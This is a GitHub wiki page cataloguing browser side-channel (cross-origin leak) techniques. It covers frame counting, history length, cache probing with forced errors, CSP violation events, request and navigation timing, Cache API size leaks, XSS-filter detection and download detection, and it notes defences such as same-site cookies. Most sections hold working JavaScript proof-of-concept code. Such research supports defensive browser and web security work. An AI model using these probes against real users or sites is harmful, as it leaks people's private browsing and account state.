Skip to content

Browser Side Channels

Sigurd edited this page Apr 11, 2019 · 25 revisions

Well-known DOM APIs

There are a few well known DOM APIs that leak cross origin information.

Frame Count

The Window DOM API documents how to traverse across cross origin windows (under other browsing contexts). One of these is the number of frames in the document (window.length).

let win /*Any Window reference, either iframes, opener, or open()*/;
win.frames.length;

In some cases, different states have the same number of frames, preventing us from classifying them correctly.

In those cases, you can try continuously recording the frame count, as it can lead to a pattern you might be able to use, either for timing certain milestones or detecting anomalies in the frame count during the application loading time.

const tab = window.opener; // Any Window reference
const pattern = [];
tab.location = 'https://target';

const recorder = setInterval(() => pattern.push(tab.frames.length), 0);

setTimeout(() => {
   clearInterval(recorder);
   console.log(pattern);
}, 6 * 1000);

History Length

The History DOM API documents that the history object can know how many entries there are in the history of the user. This leak can be used to detect when a cross-origin page had some types of navigations (eg, those via history.pushState or just normal navigations).

Note that for detecting navigations on pages that can be iframed, it is possible to just count how many times the onload event was triggered (see Frame timing), in cases when the page can't be inside a frame, then this mechanism can be useful.

history.length; // leaks if there was a javascript/meta-refresh redirect

Error Events

For most HTML elements that load subresources have error events that are triggered in the case of a response error (eg, error 500, 404, etc) as well as parsing errors.

One can abuse this, in two ways:

  1. By checking if a user has access to a specific resource (example).
  2. By checking if a user has loaded a specific resource in the past (by forcing an HTTP error unless the resource is cached).

Cache and Error Events

One way to "force" an error when fetching a subresource (unless cached), is by forcing the server to reject the request based on data that isn't part of the cache key. There are several ways to do this, for example:

  1. If the server has a Web Application Firewall, one can trigger a false positive (for example, one could try to force the server to trigger DoS protection by doing many network requests in a short period of time).
  2. If the server has a limit on the size of an HTTP Request, one can set a very long HTTP Referrer, so that when the URL is requested, the server rejects it.

Since the browser would only issue an HTTP request if there isn't something already in the cache, then one can notice that:

  • If the image/script/css loads without errors, then that must mean that it comes from the cache.
  • Otherwise, it must have come from the network (Note that one can also use timing to figure this out.)

Cache probing is a well known attack, and some browsers have been looking into having separate cache storage for each origin, but no other solution is currently available.

For demonstration purposes, here is some example code using overlong HTTP referrer.

<iframe id=f></iframe>
<script>
(async ()=>{
  let url = 'https://otherwebsite.com/logo.jpg';
  // Evict this from the cache (force an error).
  history.replaceState(1,1,Array(16e3));
  await fetch(url, {cache: 'reload', mode: 'no-cors'});
  // Load the other page (you can also use <link rel=prerender>)
  // Note that index.html must have <img src=logo.jpg>
  history.replaceState(1,1,'/');
  f.src = 'http://otherwebsite.com/index.html';
  await new Promise(r=>{f.onload=r;});
  // Check if the image was loaded.
  // For better accuracy, use a service worker with {cache: 'force-cache'}
  history.replaceState(1,1,Array(16e3));
  let img = new Image();
  img.src = url;
  try {
    await new Promise((r, e)=>{img.onerror=e;img.onload=r;});
    alert('Resource was cached'); // Otherwise it would have errored out
  } catch(e) {
    alert('Resource was not cached'); // Otherwise it would have loaded
  }
})();
</script>

CSP Violation Events

The CSP's Violation DOM Event object created when a CSP violation happens includes a blocked host. This leak can be used to know which domain a cross-origin page redirects to.

<meta http-equiv="Content-Security-Policy" content="default-src 'unsafe-inline' example.com">
<script>
document.addEventListener('securitypolicyviolation', e => {
  // goes through here if a 3xx redirect to another domain happened
  console.log(e.blockedURI);
});
fetch('https://example.com/redirect', {mode: 'no-cors',credentials: 'include'});
</script>

Media Size

Images, Videos, Audio and a few other resources allow for measuring their duration (in the case for video and audio) and size (for images).

Timing

For timing we have to consider two factors:

  1. A consequence to observe in another window/origin (eg, network, javascript, etc).
  2. A mechanism to measure the time that passed.

To defend against these attacks, browsers try to limit the amount of information leaked across windows/origins, and in some cases, also try to limit the accuracy of different mechanisms for measuring time.

Measuring time

The most common used mechanisms for measuring time are:

  1. performance.now()
  2. SharedArrayBuffer
  3. etc

Request timing

This type of measurement can be mitigated with same-site cookies in strict mode (for GET requests), or in lax mode (for POST requests). Using same-site cookies in lax mode is not safe, as it can be bypassed by timing navigation requests.

let before = performance.now()
await fetch("//mail.com/search?q=foo")
let request_time = performance.now() - before

Cross-document request timing

In chrome the number of HTTP requests made by another window/document can be calculated using the network pool. To do this, the attacker needs two windows/documents.

Window A:

  • Wait for a click to open window B

Window B:

  • Exhaust all sockets except one by performing 255 fetch operations to different domains. The webserver will sleep for 30 seconds before replying to the request.
  • Redirect window.opener to the target url that we want to time
  • fetch('//attacker.com') in a loop and time how long the request took

Navigation requests

These techniques are used for measuring the time it takes a navigation request to load.

This is useful for measuring the time it takes a GET request to load if protected by same-site cookies in lax mode. This can be mitigated with same-site cookies in strict mode.

Frame timing

This mechanism waits until all subresources finish loading. Note that in pages that set the X-Frame-Options header, this mechanism can only be used for measuring the network request, because subresources are not measured. Note that the difference between onerror and onload is often also important, as well as the number of times each event is triggered, as that reveals how many navigations happened inside the iframe.

<iframe name=f id=g></iframe>
<script>
h = performance.now();
f.location = '//mail.com/search?q=foo';
g.onerror = g.onload = ()=>{
    console.log('time was', performance.now()-h)
};
</script>

Cross-window timing

This mechanism is only useful when a page uses X-Frame-Options and one is interested on the subresources being loaded, or in the javascript code executing for other attacks (such as establishing the starting time for cross-document request timing or multi-threaded JavaScript).

To protect against this types of attacks one might be able to use Cross-Origin-Opener-Policy in the future.

let w=0, z=0, v=performance.now();
onmessage=()=>{
  try{
    if(w && w.document.cookie){
      // still same origin
    }
    postMessage('','*');
  }catch(e){
    z=performance.now();
    console.log('time to load was', v-z);
  }
};
postMessage('','*');
w=open('//www.google.com/robots.txt');

JavaScript Execution

Measuring JavaScript execution can be useful for understanding when certain events are triggered, and how long some operations take.

Examples:

Single-threaded JavaScript

In browsers other than Chrome, all JavaScript code (even cross-origin) runs in the same thread, which means that one can measure for how long code runs in another origin by measuring how long it takes for code to run next in the event pool.

Multi-threaded JavaScript

In Chrome, every site runs in a different process, and every process has their own thread, which means that in order to measure the timing of JavaScript execution in another thread, we have to measure it in a different way. One way to do this is by:

  1. Register a service worker on the attacker's origin.
  2. Opening the target window, and detect when the document is loaded (using cross window timing)
  3. In an interval attempt to navigate the window away in the event loop to a page that will be caught by the service worker.
  4. When the request is received, remember the current time, and return with a 204 response.
  5. Measure how long it took for the navigation to be requested, to the request to the service worker to arrive.

Size

Some times considered a vulnerability by browsers, and some times measured with timing. Regardless, it is some times possible to (incidentally) defend against this types of attacks by using CORB, and CORP. As their implementation also breaks some of the APIs.

Examples:

Flash

Current public mechanism to learn size of cross-site requests is with Flash.

Cache Quota API

By abusing the Cache API and the quota a single origin receives, it's possible to measure the size of a single response. To protect against this attack browsers add random noise to the quota calculation.

  1. Firefox adds a random number up to 100K and reduces accuracy to the closest 20K (code).
  2. Chrome adds a random number up to 14,431K (code).

One can still perform the attack with the noise added, although it requires a lot more requests.

Cache Timing

By abusing the Cache API, and the browser's cache, one can measure how long it takes for a simple request to be loaded from the different levels of caching. Assuming a longer response will take longer to load. By abusing techniques (such as "inflating" the response size), one can make the difference through timing more measurable.

caches.open("cache").then((cache) => {
	fetch("https://example.org", {
		mode: "no-cors",
		credentials: "include"
	}).then((response) => {
		var start  = performance.now();
		cache.put(new Request("leak"), response.clone()).then(() => {
			var end  = performance.now();
			console.log(end - start);
		});
	});
});

XSS Filters

If one can trigger and detect an XSS filter false positive, then one can figure out the presence of a specific element. This means that if it is possible to detect whether the filter triggered or not, then we can detect any difference in the elements blocked by XSS filters across two pages. It is easier to detect the XSS filter when it is enabled in blocking mode, as that blocks the loading of the page and all its subresources, making all browser side channels more obvious.

Location hash navigations

One way to detect the XSS filter (in blocking mode) has triggered can be done by counting the number of times a navigation happens when changing the location.hash.

  1. Frame timing - if a website can be put inside an iframe (that is, it has no X-Frame-Options), then one can count how many times the load event happened after a navigation to the same URL with a different location.hash. If the XSS filter triggered, then the number will be 2, otherwise it will be 1.
  2. Cross-window timing - if the website can't be put inside an iframe, then one can do the same attack by timing how long it takes for a navigation to happen. Since location.hash changes don't trigger network requests, then by navigating the page to a URL with a different location.hash, then navigating it to about:blank, then triggering history.back(), if that triggers a network request
  3. History length - same as before, but this works using history.length. By changing the location of another window quickly, before the browser has a chance to make a navigation, but enough time to change the location.hash, one can count how many entries exist in the history.length (3 for when the filter did not trigger, and 2 when it did).

Example code for history length attack.

let url = '//victim/?falsepositive=<script>xxxxx=1;';
let win = open(url);
// Wait for the window to be cross-origin
await new Promise(r=>setInterval(()=>{try{win.origin.slice()}catch(e){r(e)}},1));
// Change the location
win.location = url + '#';
// Skip one microtask
await Promise.resolve(1);
// Change the location to same-origin
win.location = 'about:blank';
// Wait for the window to be same-origin
await new Promise(r=>setInterval(()=>r(win.document.defaultView),1));
// See how many entries exist in the history
if (win.history.length == 3) {
  // XSS auditor did not trigger
} else if (win.history.length == 2) {
  // XSS auditor triggered
}

Downloads

Some endpoints respond with a content disposition header set to "attachment", forcing the browser to download the response as a file. In some cases, the ability to detect whether or not a file was downloaded on a certain endpoint can leak information about the current user.

Downloads bar

When a Chromium based browser downloads a file, a bottom bar is integrated into the browser window. By monitoring the window height we could detect whether or not the "downloads bar" opened.

// Any Window reference (can also be done using an iframe in some cases)
const tab = window.opener;

// The current window height
const screenHeight = window.innerHeight;

// The size of the chrome download bar on mac os x
const downloadsBarSize = 49;

tab.location = 'https://target';

setTimeout(() => {
    let margin = screenHeight - window.innerHeight;
    if (margin === downloadsBarSize) {
       return console.log('downloads bar detected');
    }
}, 5 * 1000);

Downloads don't redirect

Another way to test for the content-disposition: attachment header is to check if a navigation redirected the page. At least in Chrome, if a page load triggers a download, it will not trigger the navigation.

The leak will work roughly like this:

  1. open a new window and load evil.com
  2. navigate the window to //vimctim/maybe_download
  3. after a timeout, check if the window is still same-origin

Detecting download without the timeout.

There is another way to detect whether the download attempt happened without using any timeouts, that can be helpful to perform hundreds of requests at the same time without worrying about unprecise timings. The observation is that even though the download attempt doesn't trigger an onload event the window still "waits" for the resource to be downloaded. Therefore, one could include an iframe inside an iframe to detect window.onload, and then since download doesn't trigger navigation the iframe will point to about:blank, hence, it is possible to differentiate the origin.

onmessage = e => console.log(e.data);
var ifr = document.createElement('iframe');
var url = 'http://bug.bounty/Examples/file.php';
ifr.src = `data:text/html,\
            <iframe id='i' src="${url}" ></iframe>
            <script>onload=()=>{
                try{
                    i.contentWindow.location.href;
                    top.postMessage('download attempt','*');
                }catch(e){
                    top.postMessage('no download','*');
                }
            }%3c/script>`;
ifr.onload = ()=>{ifr.remove();}
document.body.appendChild(ifr);

Object Typemustmatch

The Object DOM API documents that the object element can be loaded depending on the Content-type header.

The typemustmatch attribute is a boolean attribute whose presence indicates that the resource specified by the data attribute is only to be used if the value of the type attribute and the Content-Type of the aforementioned resource match.

Currently, the Chromium-based browsers don't support the attribute typemustmatch but the Firefox does.

This functionality can be used to determine whether the response has the Content-type: text/html because if the embedded object was loaded successfully the number of frames will increase.

Worth to mention, typemustmatch also ensures that the server responded with a 200 OK header or the resource won't be loaded otherwise. Hence, it is possible to detect error pages as well.

Moreover, if the object wasn't loaded its height and width equal to 0 and is greater than it otherwise. That allows detecting any content-type of the response and distinguish between error pages.

let url = 'https://example.org'
let mime = 'application/json'
let x = document.createElement('iframe');
x.src = `data:text/html,<object id=obj type="${mime}" data="${url}" typemustmatch><script>onload = ()=>{console.log(obj.clientHeight)}%3c/script></object>`;
document.body.appendChild(x);
Clone this wiki locally
You can’t perform that action at this time.